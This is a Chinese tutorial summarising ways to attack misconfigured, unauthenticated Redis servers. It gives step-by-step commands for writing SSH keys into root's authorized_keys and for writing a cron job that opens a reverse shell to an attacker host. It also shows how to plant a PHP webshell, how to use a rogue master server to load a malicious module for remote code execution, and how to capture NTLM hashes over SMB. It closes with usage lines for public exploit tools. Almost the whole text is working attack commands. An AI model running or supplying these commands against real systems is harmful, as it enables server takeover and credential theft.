Redis渗透思路总结
Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。
Redis 安全风险简介
Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:
- 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
- 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
- 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
- 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
- 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。
本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。
一、手动利用 Redis 漏洞
手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。
1. 写入 SSH 公钥(开放 SSH 访问)
原理:
Redis 的 CONFIG SET
命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys
文件,从而获得 SSH 远程访问权限。
步骤:
-
连接 Redis:
使用redis-cli
连接目标 Redis 服务器,假设目标 IP 为172.19.0.2
,端口为6379
:redis-cli -h 172.19.0.2 -p 6379
如果 Redis 未设置密码,可直接进入命令行界面。
-
检查权限:
使用INFO
命令查看 Redis 的运行用户和权限:INFO SERVER
如果 Redis 以 root 权限运行,则可以尝试写入系统文件。
-
设置存储目录和文件名:
将 Redis 的持久化目录设置为/root/.ssh/
,文件名设置为authorized_keys
:CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys
-
写入 SSH 公钥:
先生成本地 SSH 公钥(假设已生成,位于~/.ssh/id_rsa.pub
),将其内容写入 Redis:SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key" SAVE
SAVE
命令会将数据持久化到/root/.ssh/authorized_keys
。 -
验证 SSH 访问:
使用对应的私钥尝试 SSH 登录目标服务器:ssh -i ~/.ssh/id_rsa root@172.19.0.2
如果成功,将获得目标服务器的 root 权限。
注意事项:
- 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
- 如果目录
/root/.ssh/
不存在,需确认 Redis 是否有权限创建目录。
2. 写入计划任务(Cron 定时任务)
原理:
Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab
),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。
步骤:
-
连接 Redis:
同上,使用redis-cli
连接目标 Redis。 -
设置存储目录和文件名:
将存储目录设置为 Cron 配置文件目录(如/etc/
),文件名设置为crontab
:CONFIG SET dir /etc/ CONFIG SET dbfilename crontab
-
写入恶意 Cron 任务:
构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'" SAVE
-
启动监听:
在攻击者机器(假设 IP 为172.19.0.3
)上使用netcat
监听:nc -lvnp 4444
-
等待反弹 Shell:
Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。
注意事项:
- 需确认目标系统是否启用了 Cron 服务。
- 写入的 Cron 任务需符合正确的格式,避免语法错误。
3. 写入 Webshell
原理:
如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。
步骤:
-
确认 Web 根目录:
假设 Web 根目录为/var/www/html/
,可通过CONFIG GET dir
确认 Redis 是否有权限写入该目录。 -
设置存储目录和文件名:
CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php
-
写入 Webshell:
写入一个简单的 PHP Webshell:SET webshell "<?php system($_GET['cmd']); ?>" SAVE
-
访问 Webshell:
通过浏览器或curl
访问http://172.19.0.2/shell.php?cmd=whoami
,执行任意命令。
注意事项:
- 需确认目标服务器的 Web 根目录和文件权限。
- Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。
4. 主从复制 RCE(高版本 Redis)
原理:
Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。
步骤:
-
搭建恶意主节点:
使用工具如redis-rogue-server
(后文详述)或手动搭建 Redis 主节点。 -
设置目标为从节点:
连接目标 Redis,设置为攻击者控制的主节点的从节点:SLAVEOF 172.19.0.3 15000
-
加载恶意模块:
攻击者的主节点推送恶意模块(如exp.so
),目标 Redis 加载后执行代码。
注意事项:
- 需确保目标 Redis 版本支持模块加载。
- 网络需允许目标服务器与攻击者服务器通信。
5. NTLM Hash 泄露(结合 SMB 攻击)
原理:
如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。
步骤:
-
搭建 SMB 服务器:
在攻击者机器上运行impacket-smbserver
:python3 smbserver.py SHARE /tmp
-
写入恶意文件:
使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:CONFIG SET dir /tmp CONFIG SET dbfilename test.txt SET smb "\\172.19.0.3\SHARE\test" SAVE
-
捕获 NTLM Hash:
当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。 -
破解或利用 Hash:
使用工具如hashcat
破解 Hash,或通过impacket
进行 Pass-the-Hash 攻击。
注意事项:
- 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
- 需确保网络连通性。
二、半自动利用:Redis Rogue Server
工具:
Awesome-Redis-Rogue-Server
原理:
通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so
),实现 RCE。
步骤:
-
准备环境:
- 攻击者机器:
172.19.0.3
- 目标 Redis:
172.19.0.2:6379
- 下载并准备恶意模块
exp.so
。
- 攻击者机器:
-
运行 Rogue Server:
在攻击者机器上运行工具:python3 redis-rogue-server.py -v -path module.so
-
配置目标 Redis:
连接目标 Redis,设置存储目录和文件名:CONFIG SET dir /tmp CONFIG SET dbfilename exp.so SLAVEOF 172.19.0.3 15000
-
触发 RCE:
Rogue Server 将推送exp.so
到目标 Redis,加载后执行恶意代码。
注意事项:
- 确保模块文件与目标 Redis 版本兼容。
- 网络防火墙需允许主从复制流量。
三、主从复制自动化利用
准备环境:
- 攻击者机器:
172.19.0.3
- 目标 Redis:
172.19.0.2:6379
redis-rogue-server
工具地址:
https://github.com/n0b0dyCN/redis-rogue-server
运行工具:
在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:
python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2
redis-rce
工具地址:
https://github.com/Ridter/redis-rce
运行工具:
执行以下命令,指定目标 Redis IP 和本地监听 IP:
python redis-rce.py -r 172.19.0.2 -L 172.19.0.3
注意事项:
- 需确保攻击者和目标机器网络双向连通。
- 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。